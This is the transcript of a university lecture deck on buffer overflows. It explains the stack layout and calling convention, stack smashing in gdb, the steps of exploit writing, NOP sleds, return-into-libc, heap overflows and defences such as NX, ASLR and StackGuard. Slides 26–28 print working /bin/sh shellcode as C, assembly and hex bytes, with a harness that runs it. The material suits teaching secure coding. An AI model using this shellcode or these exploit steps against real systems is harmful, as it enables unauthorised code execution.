1 / 44

Topics

Topics. What is a Buffer Overflow? The Most Common Implementation Flaw. Process Memory Layout. The Stack and C’s Calling Convention. Stack Overflows. Shellcode. Heap Overflows. Defences. What is a Buffer Overflow?. buffer : a limited, contiguously allocated set of memory.

kizzy
Download Presentation

Topics

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Topics • What is a Buffer Overflow? • The Most Common Implementation Flaw. • Process Memory Layout. • The Stack and C’s Calling Convention. • Stack Overflows. • Shellcode. • Heap Overflows. • Defences. CSC 382: Buffer Overflows

  2. What is a Buffer Overflow? • buffer: a limited, contiguously allocated set of memory. • static: char buffer[32] • dynamic: malloc(), new • What happens when you attempt to access an element beyond the end of the buffer? • Bounds checking prevents such accesses in most languages like Python and Java. • No bounds checking in C/C++ or assembly. CSC 382: Buffer Overflows

  3. What’s the mistake in this program? int main() { int array[5] = {1, 2, 3, 4, 5}; printf("%d\n", array[5]); } CSC 382: Buffer Overflows

  4. Program Output > gcc -o buffer buffer.c > ./buffer 7077876 CSC 382: Buffer Overflows

  5. Writing Beyond the Buffer int main() { int array[5] = {1, 2, 3, 4, 5}; int i; for( i=0; i <= 255; ++i ) array[i] = 41; } CSC 382: Buffer Overflows

  6. Program Output > gcc -o bufferw bufferw.c > ./bufferw Segmentation fault (core dumped) CSC 382: Buffer Overflows

  7. What Happened? • Overwrote memory beyond buffer with 41. • Program crashed with Segmentation fault. • Directly or indirectly accessed an unmapped page. • Do overflows always produce a crash? • Most of the time, yes. • If we’re careful, we can restrict our accesses to valid memory locations. CSC 382: Buffer Overflows

  8. Most Common Implementation Flaw Old Bug • 1988 Morris Worm (fingerd) • 2005 W32/Zotob Worm (W32 Plug&Play) Most Common Flaw • 50% of CERT advisories in 1999 • 86% of CERT advisories in 2003 CSC 382: Buffer Overflows

  9. Why the same Mistake? • C/C++ inherently unsafe. • No bounds checking on arrays or pointer refs. • Unsafe library functions: strcpy(), sprintf(),gets(), scanf(), etc. • Java, Javascript, Perl, Python largely immune. • Not entirely! Interpreters are often written in C/C++. • CAN-2003-0010: Buffer overflow in MS Windows Javascript implementation. • Not checking trades security for performance. CSC 382: Buffer Overflows

  10. Stack Overflows • Easy to exploit: • Security critical data: return address. • Most buffer overflows are stack-based. • Protective Tools • non-executable stack protection in OS. • Stackguarding compilers. • bounds-checking compilers. CSC 382: Buffer Overflows

  11. What is a Stack? • LIFO data structure: push/pop • Stack grows downwards in memory. • SP points to top of stack (lowest address) • %esp register is SP on x86 architecture. • What’s on the stack? • Function parameters. • Local variables. • Return values. • Return address (security critical.) CSC 382: Buffer Overflows

  12. Accessing the Stack Pushing an item onto the stack. • Copy data to stack. • Decrement SP by 4. Example: pushl $12 Popping data from the stack. • Copy data from stack. • Increment SP by 4. Example: popl %eax Retrieve data without pop: movl %esp, %eax CSC 382: Buffer Overflows

  13. What is a Stack Frame? • Block of stack data for one procedure call. • Frame pointer (FP) points to frame: • Use offsets to find local variables. • SP continually moves with push/pops. • FP only moves on function call/return. • Intel CPUs use %ebp register for FP. CSC 382: Buffer Overflows

  14. C Calling Convention • Push all params onto stack in reverse order. Parameter #N … Parameter #2 Parameter #1 • Issues a call instruction. • Pushes address of next instruction (the return address) onto stack. • Modifies IP (%eip) to point to start of function. CSC 382: Buffer Overflows

  15. Stack before Function Executes Frame Pointer Stack Pointer CSC 382: Buffer Overflows

  16. C Calling Convention • Function pushes FP (%ebp) onto stack. Save FP for previous function. pushl %ebp • Copies SP to FP. Allows function to access params as fixed indexes from base pointer. movl %esp, %ebp • Reserves stack space for local vars. subl $12, %esp CSC 382: Buffer Overflows

  17. Stack at Function Start Frame Pointer Stack Pointer CSC 382: Buffer Overflows

  18. C Calling Convention • After execution, stores return value in %eax. movl $1, %eax • Resets stack to pre-call state. Destroys current stack frame; restores caller’s frame. popl %ebp • Returns control back to where called from. Pops top word and sets %eip to that value. ret CSC 382: Buffer Overflows

  19. Stack after Function Return Frame Pointer Stack Pointer CSC 382: Buffer Overflows

  20. Smashing the Stack void printInput() { char buffer[32]; gets(buffer); printf("%s\n", buffer); } void main() { printInput(); return 0; } CSC 382: Buffer Overflows

  21. Smashing the Stack addl $16, %esp leave ret main: pushl %ebp movl %esp, %ebp subl $8, %esp andl $-16, %esp movl $0, %eax addl $15, %eax addl $15, %eax shrl $4, %eax sall $4, %eax subl %eax, %esp call printInput leave ret .LC0: .string "%s\n" .text printInput: pushl %ebp movl %esp, %ebp subl $40, %esp subl $12, %esp leal -40(%ebp), %eax pushl %eax call gets addl $16, %esp subl $8, %esp leal -40(%ebp), %eax pushl %eax pushl $.LC0 call printf CSC 382: Buffer Overflows

  22. Smashing the Stack • Run the program with normal input. > gcc –ggdb –o overflow overflow.c > ./overflow 01234567890123456789012345678901 01234567890123456789012345678901 • Run the program with long input. > ./overflow 0123456789012345678901234567890123456890 0123456789012345678901234567890123456890 Segmentation fault (core dumped) CSC 382: Buffer Overflows

  23. Smashing the Stack > gdb overflow (gdb) r Starting program: /home/jwalden/work/bof/overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x080483c0 in printInput () at overflow.c:5 5 } (gdb) info registers eax 0x47 71 ecx 0x0 0 edx 0x47 71 ebx 0x6bfff4 7077876 esp 0xbfe97164 ebp 0x41414141 esi 0xbfe971f4 edi 0xbfe97180 eip 0x41414141 eflags 0x210292 2163346 CSC 382: Buffer Overflows

  24. Smashing the Stack • Success! • We overwrote part of the stack. • Our overwritten return value was loaded into the instruction pointer (%eip). • Failure! • The program crashed. • EIP loaded with invalid address 0x41414141. • How to fix it? • Insert a valid address into the buffer. CSC 382: Buffer Overflows

  25. Writing an Exploit • Construct shellcode to inject. • Find an exploitable buffer in your target application. • Discover location of stack pointer, so you have an idea of where your shellcode will be located. • Run program with your input that: • Injects shellcode into stack memory. • Overwrites return address with address of your shellcode. CSC 382: Buffer Overflows

  26. Shellcode Shellcode in C. int main() { char *name[2]; name[0] = "/bin/sh"; name[1] = 0x0; execve(name[0], name, 0x0); } Running the program. > gcc –ggdb –static –o shell shellcode.c > ./shell sh-3.00$ exit CSC 382: Buffer Overflows

  27. Shellcode Assembly jmp 0x1f # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes xorl %eax,%eax # 2 bytes movb %eax,0x7(%esi) # 3 bytes movl %eax,0xc(%esi) # 3 bytes movb $0xb,%al # 2 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes xorl %ebx,%ebx # 2 bytes movl %ebx,%eax # 2 bytes inc %eax # 1 bytes int $0x80 # 2 bytes call -0x24 # 5 bytes .string \"/bin/sh\" # 8 bytes CSC 382: Buffer Overflows

  28. Testing the Shellcode char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } > gcc -o testsc2 testsc2.c > ./testsc2 sh-3.00$ exit CSC 382: Buffer Overflows

  29. Improving the Odds • Determining the correct address of your shellcode is hard, even if you don’t have source. • What if you could have multiple target addresses? • Pad buffer with NOP instructions preceding the shellcode. • If function returns anywhere in that NOP pad, it will continue executing until it executes the shellcode. CSC 382: Buffer Overflows

  30. Heap Overflows • More difficult to exploit than stack overflows. • 2120 Bugtraq hits on heap • 7540 Bugtraq hits on stack • Fewer heap protection tools. • heap segment r+x, • no equivalent to stackguard compilers. • Need to find security critical variable. • UID, username, filename • or combine with a buffer overflow. CSC 382: Buffer Overflows

  31. Defending Yourself • Use language with bounds checking. • Use boundchecking/stackguarding compiler. • Do your own bounds checking. • Avoid unsafe functions • strcpy() • gets() • Use safe functions securely • strncpy() • strncat() CSC 382: Buffer Overflows

  32. gets() CSC 382: Buffer Overflows

  33. strcpy() CSC 382: Buffer Overflows

  34. Safe String Libraries • C++ std::string library • Dynamically-sized strings • SafeStr library provides safestr_t objects • Dynamically-sized • Cast to (char *) for read-only purposes only • Microsoft’s strsafe.h • OpenBSD strlcat() and strlcpy() • Sizes include null bytes. • Resultant strings always null terminated. CSC 382: Buffer Overflows

  35. C++ Dangers • Using C-style strings with cin char username[16]; cin >> username; • The [] operator does not perform bounds checking • Converting from C++ to C-style strings • string::data() output is not NULL terminated • string::c_str() ouput is NULL terminated CSC 382: Buffer Overflows

  36. Buffer Overflow Defences • Operating System Defences • Non-executable stack. • Randomization of memory layout. • Compiler Defences • Canary values. CSC 382: Buffer Overflows

  37. Non-executable Stack Memory protection prevents exploit code from being executed. • Some applications execute code on the stack/heap. • x86 arch doesn’t have exec bit in page tables. • Segment limits can divide memory into two parts: executable and non-executable. • Keep program code in low memory. • Keep data and stack in high memory. • Coarse-grained. • NX Technology • Exec bit for page tables. • Added in AMD64 and newer Intel P4 processors. • Only works in PAE 64-bit page table format. CSC 382: Buffer Overflows

  38. Countering non-exec Stack The “return-into-libc” technique. • libc contains system() and exec() functions. • overwrite return address to execute system() to run /bin/sh • difficult or even impossible to do in some cases. CSC 382: Buffer Overflows

  39. Memory Layout Randomization Randomize layout of memory space • Stack location. • Shared library locations. • Heap location. PIE: Position Independent Executable • Default format: binary compiled to work at an address selected when program was compiled. • Gcc can compile binaries to be freely relocatable throughout address space. • gcc flags: -fpie –pie • Program loaded at different address for each invocation. CSC 382: Buffer Overflows

  40. Defence: Stackguard Compiler extension for gcc • code must be compiled w/ Stackguard Detects altered return address • before function returns • adds “canary” word to stack • must overwrite canary to change return addr • use random canary words for each function to avoid guessing attacks CSC 382: Buffer Overflows

  41. Stackguard Stack Layout Frame Pointer Stack Pointer CSC 382: Buffer Overflows

  42. Stackguard Effectiveness • Code dependencies • are dynamic libraries stackguarded? • Compatibility • Recompiled entire RedHat Linux system. • Small performance cost • canary insert and check overhead on each call • Protects against future stack attacks. • Similar tools: • gcc -fstack-protector flag • Visual Studio 2005 CSC 382: Buffer Overflows

  43. Defending Against Buffer Overflows • Use a language with bounds checking. • Check your own bounds in C/C++. • Avoid unsafe functions in C/C++. • Use compiler/OS stack defence techniques. CSC 382: Buffer Overflows

  44. References • Aleph Null, “Smashing the Stack for Fun and Profit,” Phrack 49, 1996. • Bartlett, Johnathan, Programming from the Ground Up, Bartlett Publishing, 2004. • Conover, Matt & w00w00 Security Team, “w00w00 on Heap Overflows,” http://www.w00w00.org/files/articles/heaptut.txt • Graff, Mark and van Wyk, Kenneth, Secure Coding: Principles & Practices, O’Reilly, 2003. • Horizon, “Bypassing Non-executable Stack Protection on Solaris,” http://packetstormsecurity.nl/groups/horizon/stack.txt • Hoglund, Greg and McGraw, Gary, Exploiting Software: How to Break Code, Addison-Wesley, 2004. • Howard, Michael and LeBlanc, David, Writing Secure Code, 2nd edition, Microsoft Press, 2003. • Michael Howard, David LeBlanc, and John Viega, 19 Deadly Sins of Software Security, McGraw-Hill Osborne, 2005. • Koziol, et. al, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, Wiley, 2004. • Viega, John, and McGraw, Gary, Building Secure Software, Addison-Wesley, 2002. • Wheeler, David, Secure Programming for UNIX and Linux HOWTO, http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/index.html, 2003. CSC 382: Buffer Overflows

More Related